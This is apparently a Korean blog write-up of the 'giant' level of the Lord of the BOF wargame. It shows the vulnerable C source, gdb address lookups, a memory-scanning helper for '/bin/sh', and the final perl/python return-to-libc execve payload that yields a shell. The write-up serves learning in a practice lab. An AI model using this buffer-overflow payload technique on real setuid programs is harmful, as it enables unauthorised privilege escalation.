반응형

소스를 보면

[bugbear@localhost bugbear]$ cat giant.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(int argc, char *argv[])

{

char buffer[40];

FILE *fp;

char *lib_addr, *execve_offset, *execve_addr;

char *ret;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// gain address of execve

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "(%x)", &lib_addr);

fclose(fp);


fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "%x", &execve_offset);

fclose(fp);


execve_addr = lib_addr + (int)execve_offset;

// end


memcpy(&ret, &(argv[1][44]), 4);

if(ret != execve_addr)

{

printf("You must use execve!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}

execv() 함수를 사용해야합니다


이 소스에 사용된 함수들의 프로토타입들은 각각 다음과 같습니다

<<execve() 프로토타입>>

#include 

int execve (const char *filename, char *const argv [], char *const envp[]); 


lename이 가리키는 파일을 실행한다. filename은 바이너리 실행 파일이거나 #! interpreter [arg]와 같은 라인으로 시작하는 스크립트 파일이어야 한다.

후자의 경우, interpreter는 interpreter [arg] filename와 같은 형태로 수행이 가능한 (스크립트가 아닌) 바이너리 실행 파일이어야 한다. 

argv는 새로이 실행할 프로그램에 전달하는 인수 문자열의 배열이다. 

envp는 보통 key=value과 같은 형태의 문자열 배열이며 환경 변수를 설정해놓은 것처럼 전달된다. 

argv와 envp는 모두 NULL 포인터로 끝나야만 한다. 실행할 프로그램을 int main(int argc, char *argv[], char *envp[])와 같이 정의하면 인수 문자열 배열과 환경 변수를 main () 함수에서 사용할 수 있게 된다.



<<popen() 프로토타입>>


#include <stdio.h>


FILE *popen(const char *command, const char *type);

int pclose();


popen 은 command 를 shell(:12)을 가동시켜서 열고 pipe(2)로 연결한다. 


pipe 는 기본적으로 단방향으로만 정의 되어 있음으로, 읽기전용 혹은 쓰기전용 으로만 열수 있으며, type 로 정의된다. 


popen 은 command 를 실행시키고 pip 연결을 위해서 내부적으로 fork() 와 pipe() 를 사용한다.


command 는 실행쉘인 /bin/sh 에 -c 옵션을 사용하여서 전달되게 된다.


pclose(2) 함수는 종료되는 관련 프로세스를 기다리며 wait(2) 가 반환하는 것처럼 명령어의 종료 상태를 반환한다.


>popen 함수는 메모리 할당이 실패한다면, errno 를 설정하지 않는다. fork()나 pipe()에서 실패했을경우 적당한 errno 를 설정한다.


pclose()는 자식의 상태를 얻을수 없을경우 errno 를 ECHILD 로 설정한다.




<<sscanf()  프로토 타입>>

#include <stdio.h> // C++ 에서는 <cstdio>


int sscanf ( const char * str, const char * format, ...);


str 에서 데이터를 형식 문자열(format)에서 지정하는 바에 따라 읽어와 그 데이터를 뒤에 부수적인 인자들이 가리키는 메모리 공간에 저장하게 된다.


 이 때, 데이터가 저장되는 방식 역시 형식 문자열에 의해 결정된다


&system, &execve, &exit 을 각각 구해주고 


[bugbear@localhost bugbear]$ cp giant /tmp/giant 

[bugbear@localhost bugbear]$ cd /tmp

[bugbear@localhost /tmp]$ gdb -q giant 

(gdb) b main 

Breakpoint 1 at 0x8048566

(gdb) r

Starting program: /tmp/giant 

(gdb) p exit

$1 = {void (int)} 0x400391e0 <exit>

(gdb) p system

$2 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

(gdb) p execve

$3 = {<text variable, no debug info>} 0x400a9d48 <__execve>


그리고 나서 &/bin/sh 을 구해줍니다 


#include <stdio.h>


#include <memory.h>


int main(void)


{


        long shell;


        shell = 0x40058ae0;


        while( memcmp( (void *)shell, "/bin/sh", 8) )


                shell++;


        printf("%s is at %p\n", shell, shell);


        return 0;


}

[bugbear@localhost /tmp]$ gcc -o s s.c

[bugbear@localhost /tmp]$ ./s

/bin/sh is at 0x400fbff9

execve에서 필요한건 이제 널주소와 /bin/sh이 들어간 부분의 주소입니다 이부분을 찾아주는데서

조금 애를 먹엇습니다 


+)

[bugbear@localhost bugbear]$ ldd /home/bugbear/giant | grep libc | awk '{print $4}'

(0x40018000)


[bugbear@localhost bugbear]$ /usr/bin/nm /lib/libc.so.6|grep execve

000f4860 ? __evoke_link_warning_fexecve

00091d48 t __execve

00091d48 W execve

00091da0 T fexecve


sum : 400a9d48

~>똑같음

~> 디버깅해서 나오는 execve주소와  소스에서 나오는 대로 두인자를 구해서 더해보면 서로 같다라는것을 알수 있습니다  (라이브러리주소는 모두 같기 때문이죠) 



중간 정리를 해보면 ,


[페이로드]

/bin/sh 심볼릭링크 | NOP 44 |  &execve() | &exit() | &/bin/sh |&/bin/sh의 포인터|&NULL 


$3 = {<text variable, no debug info>} 0x400a9d48 <__execve>

$1 = {void (int)} 0x400391e0 <exit>

&/bin/sh :  0x400fbff9

&NULL : 0xbffffffc (스택의 끝부분엔 항상 널이들어가게되서 그부분에서 따왓습니다) 


이제 &/bin/sh의 포인터 하나만 더구해주면 됩니다.

execve에서 필요한게 /bin/sh의 포인터주소이기 때문에, 이를 구해주기 위해서  argv[0] 부분에 &/bin/sh을 심

볼릭링크 걸어주고 디버깅하여 구합니다 

(gdb) x/10s 0xbfffffe0

0xbfffffe0: "bear/bin"

0xbfffffe9: "/home/bugbear/ù¿\017@"

0xbffffffc: ""

0xbffffffd: ""

0xbffffffe: ""

0xbfffffff: ""

0xc0000000: <Address 0xc0000000 out of bounds>

0xc0000000: <Address 0xc0000000 out of bounds>

0xc0000000: <Address 0xc0000000 out of bounds>

0xc0000000: <Address 0xc0000000 out of bounds>

굵은 부분으로 표시한부분으로 나오긴햇습니다만 이부분이 절대경로 라서 사용을 할수가없습니다

따라서 다시계산해줍니다

(gdb) print/x 0xbfffffe9+strlen("/home/bugbear/")

$1 = 0xbffffff7

이제 다 구햇네요 페이로드를 재작성해보면 


[페이로드]

/bin/sh 심볼릭링크 | NOP 44 |  &execve() | &exit() | &/bin/sh |&/bin/sh의 포인터|&NULL 


$3 = {<text variable, no debug info>} 0x400a9d48 <__execve>

$1 = {void (int)} 0x400391e0 <exit>

&/bin/sh :  0x400fbff9

&/bin/sh의 포인터 : $1 = 0xbffffff7

&NULL : 0xbffffffc (스택의 끝부분엔 항상 널이들어가게되서 그부분에서 따왓습니다) 


심볼릭링크를 giant 에 다시 걸어주고 공격하면, 
[bugbear@localhost bugbear]$ ln -fs giant `perl -e 'print "\xf9\xbf\x0f\x40"'`

[bugbear@localhost bugbear]$ `python -c 'print "./"+"\xf9\xbf\x0f\x40"'` "`perl -e 'print "\x90"x44,"\x48\x9d\x0a\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"

H

@à‘@ù¿@÷ÿÿ¿üÿÿ¿

bash$ my-pass

euid = 514

one step closer

bash$ 

쉘이 따엿습니다 

+) 커맨드 파이썬으로 바꾸겟다고 맘먹고도 자꾸 펄써가지고 ㅡㅡ ;미치겟네요 언젠간 완벽하게 바뀌겟지요.. 

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)level16.assassin  (0) 2014.08.25
(LOB)level15.giant  (0) 2014.08.22
(LOB)level13.darkknight  (0) 2014.08.19
(LOB)level12.golem  (0) 2014.08.19
(LOB)Level11.skeleton  (0) 2014.08.16
,